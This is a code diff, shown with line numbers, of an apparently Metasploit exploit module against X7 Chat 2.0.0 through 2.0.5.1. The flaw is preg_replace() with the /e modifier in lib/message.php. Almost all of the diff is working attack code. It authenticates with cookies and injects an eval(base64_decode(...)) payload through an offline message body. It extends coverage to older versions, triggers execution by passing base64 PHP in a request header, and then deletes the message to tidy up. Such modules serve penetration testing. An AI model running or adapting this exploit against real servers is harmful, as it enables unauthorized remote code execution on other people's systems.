@@ -15,8 +15,9 @@ def initialize(info = {})
15
15
super ( update_info ( info ,
16
16
'Name' => 'The X7 Group X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution' ,
17
17
'Description' => %q{
18
- Library lib/message.php for X7 Chat versions 2.0.5 and 2.0.5.1 uses preg_replace() function with the /e modifier.
19
- This allows execute PHP code in the remote machine.
18
+ This module exploits a post-auth vulnerability found in X7 Chat versions 2.0.0 up to 2.0.5.1.
19
+ Library lib/message.php uses preg_replace() function with the /e modifier.
20
+ This allows a remote authenticated attacker to execute PHP code in the remote machine.
20
21
} ,
21
22
'License' => MSF_LICENSE ,
22
23
'Author' =>
@@ -50,20 +51,20 @@ def check
50
51
51
52
def exec_php ( php_code , check = false )
52
53
53
- cookie_x7c2u = "X7C2U=#{ datastore [ 'USERNAME' ] } "
54
- cookie_x7c2p = "X7C2P=#{ Rex ::Text . md5 ( datastore [ 'PASSWORD' ] ) } "
55
- rand_text = Rex ::Text . rand_text_alpha ( 5 , 8 )
56
-
57
- # remove comments, line breaks and spaces
58
- praw = php_code . gsub ( /(\s +)|(#.*)/ , '' )
54
+ # remove comments, line breaks and spaces of php_code
55
+ pclean = php_code . gsub ( /(\s +)|(#.*)/ , '' )
59
56
60
- # clean b64 (we can not use quotes or apostrophes and b64 string must not contain equals)
61
- while Rex ::Text . encode_base64 ( praw ) =~ /==/ || Rex :: Text . encode_base64 ( praw ) =~ /=/
62
- praw = "#{ praw } "
57
+ # clean b64 payload (we can not use quotes or apostrophes and b64 string must not contain equals)
58
+ while Rex ::Text . encode_base64 ( pclean ) =~ /=/
59
+ pclean = "#{ pclean } "
63
60
end
61
+ pb64 = Rex ::Text . encode_base64 ( pclean )
64
62
65
- pb64 = Rex ::Text . encode_base64 ( praw )
63
+ cookie_x7c2u = "X7C2U=#{ datastore [ 'USERNAME' ] } "
64
+ cookie_x7c2p = "X7C2P=#{ Rex ::Text . md5 ( datastore [ 'PASSWORD' ] ) } "
65
+ rand_text = Rex ::Text . rand_text_alpha_upper ( 5 , 8 )
66
66
67
+ print_status ( "Trying for version 2.0.2 up to 2.0.5.1" )
67
68
print_status ( "Sending offline message (#{ rand_text } ) to #{ datastore [ 'USERNAME' ] } ..." )
68
69
res = send_request_cgi ( {
69
70
'method' => 'GET' ,
@@ -72,26 +73,56 @@ def exec_php(php_code, check = false)
72
73
'Cookie' => "#{ cookie_x7c2u } ; #{ cookie_x7c2p } ;" ,
73
74
} ,
74
75
'vars_get' => {
75
- 'act' => 'userpanel' ,
76
+ # value compatible with 2.0.2 up to 2.0.5.1
77
+ 'act' => 'user_cp' ,
76
78
'cp_page' => 'msgcenter' ,
77
79
'to' => datastore [ 'USERNAME' ] ,
78
80
'subject' => rand_text ,
79
- 'body' => "#{ rand_text } www.${eval(base64_decode(getallheaders()[ #{ rand_text } ]))}.c#{ rand_text } " ,
81
+ 'body' => "#{ rand_text } www.{ ${eval(base64_decode($_SERVER[HTTP_ #{ rand_text } ]))} }.c#{ rand_text } " ,
80
82
}
81
83
} )
82
84
83
- if res && res . code == 200
84
- print_good ( "Message (#{ rand_text } ) sent successfully" )
85
- else
85
+ if !res || res . code != 200
86
86
print_error ( "Sending the message (#{ rand_text } ) has failed" )
87
87
return
88
88
end
89
89
90
- if res && res . body =~ /([0-9]*)">#{ rand_text } /
90
+ if res . body =~ /([0-9]*)">#{ rand_text } /
91
91
message_id = Regexp . last_match [ 1 ]
92
+ userpanel = 'user_cp'
92
93
else
93
94
print_error ( "Could not find message (#{ rand_text } ) in the message list" )
94
- return
95
+
96
+ print_status ( "Retrying for version 2.0.0 up to 2.0.1 a1" )
97
+ print_status ( "Sending offline message (#{ rand_text } ) to #{ datastore [ 'USERNAME' ] } ..." )
98
+ res = send_request_cgi ( {
99
+ 'method' => 'GET' ,
100
+ 'uri' => normalize_uri ( target_uri . path , 'index.php' ) ,
101
+ 'headers' => {
102
+ 'Cookie' => "#{ cookie_x7c2u } ; #{ cookie_x7c2p } ;" ,
103
+ } ,
104
+ 'vars_get' => {
105
+ # value compatible with 2.0.0 up to 2.0.1 a1
106
+ 'act' => 'usercp' ,
107
+ 'cp_page' => 'msgcenter' ,
108
+ 'to' => datastore [ 'USERNAME' ] ,
109
+ 'subject' => rand_text ,
110
+ 'body' => "#{ rand_text } www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text } ]))}}.c#{ rand_text } " ,
111
+ }
112
+ } )
113
+
114
+ if !res || res . code != 200
115
+ print_error ( "Sending the message (#{ rand_text } ) has failed" )
116
+ return
117
+ end
118
+
119
+ if res . body =~ /([0-9]*)">#{ rand_text } /
120
+ message_id = Regexp . last_match [ 1 ]
121
+ userpanel = 'usercp'
122
+ else
123
+ print_error ( "Could not find message (#{ rand_text } ) in the message list" )
124
+ return
125
+ end
95
126
end
96
127
97
128
print_status ( "Accessing message (#{ rand_text } )" )
@@ -104,9 +135,9 @@ def exec_php(php_code, check = false)
104
135
rand_text => pb64 ,
105
136
} ,
106
137
'vars_get' => {
107
- 'act' => ' userpanel' ,
138
+ 'act' => userpanel ,
108
139
'cp_page' => 'msgcenter' ,
109
- 'read' => message_id ,
140
+ 'read' => message_id ,
110
141
}
111
142
} )
112
143
@@ -120,9 +151,9 @@ def exec_php(php_code, check = false)
120
151
'Cookie' => "#{ cookie_x7c2u } ; #{ cookie_x7c2p } ;" ,
121
152
} ,
122
153
'vars_get' => {
123
- 'act' => ' userpanel' ,
154
+ 'act' => userpanel ,
124
155
'cp_page' => 'msgcenter' ,
125
- 'delete' => message_id ,
156
+ 'delete' => message_id ,
126
157
}
127
158
} )
128
159
0 commit comments